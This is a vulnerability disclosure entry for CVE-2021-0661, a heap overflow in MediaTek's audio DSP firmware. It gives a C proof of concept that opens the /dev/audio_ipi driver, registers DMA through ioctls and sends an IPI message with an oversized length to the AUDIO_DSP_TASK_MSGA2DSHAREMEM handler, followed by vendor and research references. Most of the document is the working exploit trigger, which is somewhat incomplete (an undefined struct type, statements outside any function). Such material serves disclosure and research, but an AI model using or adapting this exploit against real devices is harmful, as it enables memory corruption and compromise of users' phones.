CVE-2021-0661
Information
Classic heap overflow in the AUDIO_DSP_TASK_MSGA2DSHAREMEM message
handler of the MediaTek audio DSP firmware.
PoC:
#define MAX_IPI_MSG_PAYLOAD_SIZE 0xE0
#define AUDIO_IPI_SEND_DRAM 0x40046902
#define AUDIO_IPI_LOAD_SCENE 0x4004690A
#define AUDIO_IPI_INIT_DSP 0x40046914
#define AUDIO_IPI_REG_DMA 0x40046915
struct ipi_msg_t {
uint16_t magic;
uint8_t task_scene;
uint8_t source;
uint8_t target;
uint8_t data_type;
uint8_t ack_type;
uint16_t msg_id;
uint32_t param1;
uint32_t param2;
uint8_t payload[MAX_IPI_MSG_PAYLOAD_SIZE];
};
int open_drv(int32_t& drv) {
drv = open("/dev/audio_ipi", O_RDONLY);
if (drv < 0) {
fprintf(stdout, "[-] Fail to open driver, %d\n", errno);
return -1;
}
uint8_t audio_task_info[0xB8];
int ret = ioctl(drv, AUDIO_IPI_INIT_DSP, audio_task_info);
if (ret != 0) {
fprintf(stdout, "[-] ioctl AUDIO_IPI_INIT_DSP fail! ret = %d\n", ret);
return -1;
}
return 0;
}
int send_ipi_dma(
int32_t drv, uint8_t task_scene, uint16_t msg_id,
uint32_t param1, uint32_t param2, void* data_buffer) {
int ret = ioctl(drv, AUDIO_IPI_LOAD_SCENE, task_scene);
if (ret != 0) {
fprintf(stdout, "[-] ioctl AUDIO_IPI_LOAD_SCENE fail! ret = %d\n", ret);
return -1;
}
reg_dma_t dma_reg;
dma_reg.task_scene = task_scene;
dma_reg.flag = 1;
dma_reg.a2d_size = 0x4000;
dma_reg.d2a_size = 0x4000;
dma_reg.magic_header = rand();
dma_reg.magic_footer = 0xFFFFFFFF - dma_reg.magic_header;
ret = ioctl(drv, AUDIO_IPI_REG_DMA, &dma_reg);
if (ret != 0) {
fprintf(stdout, "[-] ioctl AUDIO_IPI_REG_DMA fail! ret = %d\n", ret);
return -1;
}
ipi_msg_t ipi_msg;
ipi_msg.magic = 0x8888;
ipi_msg.task_scene = task_scene;
ipi_msg.source = 0; // from HAL
ipi_msg.target = 2; // to DSP
ipi_msg.data_type = 2; // use DMA
ipi_msg.ack_type = 0; // no ack
ipi_msg.msg_id = msg_id;
ipi_msg.param1 = param1;
ipi_msg.param2 = param2;
*(uint64_t*)ipi_msg.payload = (uint64_t)data_buffer;
*(uint32_t*)(ipi_msg.payload + 0x10) = 0;
*(uint32_t*)(ipi_msg.payload + 0x14) = param1;
*(uint64_t*)(ipi_msg.payload + 0x18) = (uint64_t)data_buffer;
ret = ioctl(drv, AUDIO_IPI_SEND_DRAM, &ipi_msg);
if (ret != 0) {
fprintf(stdout, "[-] ioctl AUDIO_IPI_SEND_DRAM fail! ret = %d\n", ret);
return -1;
}
return 0;
}
#define TASK_SCENE_KTV 0x10
#define AUDIO_DSP_TASK_MSGA2DSHAREMEM 6
int32_t drv = -1;
if (open_drv(drv) != 0)
return 0;
void* payload = malloc(MAX_IPI_MSG_PAYLOAD_SIZE);
send_ipi_dma(drv, TASK_SCENE_KTV, AUDIO_DSP_TASK_MSGA2DSHAREMEM, 0x600, 0, payload);
References:
https://corp.mediatek.com/product-security-bulletin/October-2021
https://research.checkpoint.com/2021/looking-for-vulnerabilities-in-mediatek-audio-dsp